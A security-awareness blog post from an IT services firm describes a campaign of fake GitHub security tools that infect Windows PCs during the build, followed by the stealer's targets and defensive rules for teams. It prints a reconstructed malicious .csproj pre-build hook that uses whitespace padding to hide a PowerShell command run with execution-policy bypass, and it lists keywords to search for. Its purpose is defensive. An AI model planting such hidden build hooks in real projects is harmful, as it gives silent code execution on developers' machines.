Skip to main content

Neotech Cloud Solutions

Home/Cybersecurity/Fake GitHub security tools: building a “scanner” was enough to infect over 2,000 PCs
Développeur qui écrit du code sur un ordinateur portable dans une pièce sombre

Fake GitHub security tools: building a “scanner” was enough to infect over 2,000 PCs

Your technician, developer or IT provider is looking for a small tool to sort the results of a network scan. On GitHub, they find a project that does exactly that, with clear instructions: clone, open in Visual Studio, build. They build it. That’s all it took to infect their computer.

On November 5, 2026, security firm Doctor Web described a campaign of fake GitHub security tools that has already compromised more than 2,000 Windows computers. After two years of targeting crypto and gaming fans, the attackers now publish fake tools for scan automation, security testing or log analysis. In other words, they target the people who hold the most valuable access in your business.

Fake GitHub security tools: where the trap hides

📄 FscanParser.csproj (simplified reconstruction)

<Project Sdk=”Microsoft.NET.Sdk”>
<PropertyGroup>
<OutputType>Exe</OutputType>
</PropertyGroup>
1 <Target Name=”PreBuild” BeforeTargets=”PreBuildEvent”>
2 <Exec Command=”echo Building… ·····(300 spaces)····· powershell -w hidden -ep bypass
3 -f C:\Users\Public\Pictures\t.ps1″ />
</Target>
</Project>

What to notice

1A “pre-build event”: Visual Studio runs this command automatically, before the program even exists. Building is enough; you don’t need to run the tool.

2The real code is pushed far to the right by hundreds of spaces. In the editor or on GitHub, all you see is “echo Building…”.

3PowerShell is launched hidden, with no restrictions, from a public folder anyone can write to.

In the Python and Go versions, the same whitespace trick hides a malicious statement at the end of a normal line. Some variants also use Visual Studio’s .suo file.

What happens after the build

1

Encrypted link

PowerShell pulls an encrypted string from Pastebin, YouTube, Telegram, Google Docs or GitCode. Once decrypted, it gives the address of the real file.

›

2

“Microsoft.exe”

An archive is unpacked into C:\ProgramData\Windows.Microsoft.Photos. The loader has a reassuring name.

›

3

Defences switched off

Smart App Control disabled, antivirus script scanning neutralized, Defender exclusions added, UAC, System Restore and shadow copies disabled.

›

4

Antivirus removed

It tries to uninstall ESET, McAfee and Malwarebytes, and edits the hosts file to block their updates.

›

5

Takeover

Two AsyncRAT backdoors, a clipper that swaps copied crypto wallet addresses, and an information stealer.

What the stealer takes

On a technician’s or developer’s computer, the stolen data isn’t just used to empty a crypto wallet. It often opens your servers and your website:

What the information stealer (JS.Stealer.191) goes after

Browsers

Saved passwords, session cookies and autofill: your Microsoft 365, banking and cloud tool access.

Critical

FileZilla (XML files)

FTP/SFTP addresses, usernames and passwords for the websites this person maintains.

Critical

MobaXterm.ini

SSH sessions to your servers, sometimes with saved passwords.

Critical

VPN configurations

What’s needed to connect to your network from outside.

Critical

Total Commander (wcx_ftp.ini)

Other saved FTP connections.

High

Discord, Telegram, games

Personal accounts, resold or used to spread the attack.

Medium

Everything is sent to the attackers through a Telegram bot. If a computer was hit, change every saved password from another clean device, not just the ones on that computer. It’s the same reflex as for the trojanized Claude Code extension in Cursor or the malicious AGENTS.md file: technical people’s tools have become a target.

The beliefs that make this trap work

⭐ Popularity

What we believe
“The project has lots of stars”
The reality
Stars and forks can be bought or inflated. A new project can look popular within days.
What we do
Check the account’s age, the commit history and whether a known source mentions the tool.

👀 Reading the code

What we believe
“It’s source code, I had a look”
The reality
The malicious code is hidden behind hundreds of spaces or inside a build event.
What we do
Open the .csproj and scripts as plain text with word wrap on, and search for PreBuildEvent, powershell, -enc, http.

🔨 Building

What we believe
“I didn’t run it, I only built it”
The reality
In this campaign, building is enough to trigger the infection.
What we do
Build and test unknown tools in a disposable virtual machine with no access to your passwords.

🛡️ Antivirus

What we believe
“The antivirus will stop it”
The reality
The loader disables protections and tries to uninstall the antivirus.
What we do
Protection that alerts when an antivirus is removed, and an allow-list of approved applications.

Five rules for tools found on GitHub

Team rules

Before building or running a tool found online

  1. A separate test computer or virtual machine, never the computer that holds your passwords and access.
  2. No administrator rights to test an unknown tool.
  3. Read the project files (.csproj, .sln, scripts) as plain text before opening the project in Visual Studio.
  4. Prefer official releases from the tool’s known author, not an “improved version” from a stranger.
  5. No server passwords saved in FileZilla, MobaXterm or the browser: use a password manager with MFA.

These rules also apply to your IT provider or freelancer: ask how they test the tools they use on your systems.

How NeoTech can help

We set up separate test machines, remove unnecessary admin rights, move server passwords into a secure manager, and our automated 24/7 monitoring with on-call technician intervention responds when an antivirus is disabled or a Defender exclusion appears. Learn about our cybersecurity services.

Book your free cyber check

In 30 minutes, we look at who, in your team or at your providers, has technical access, where your server passwords are saved, and what a trojanized tool could take.

👉 Book your free cyber check

Call us at 438-476-2322 or email info@neotechcloudsolutions.com.

Our office: 2572 boul. Daniel-Johnson, office 237, Laval.

Sources

Photo: Alicia Christin Gerald, Pexels (Pexels licence).

Leave a Reply

Your email address will not be published. Required fields are marked *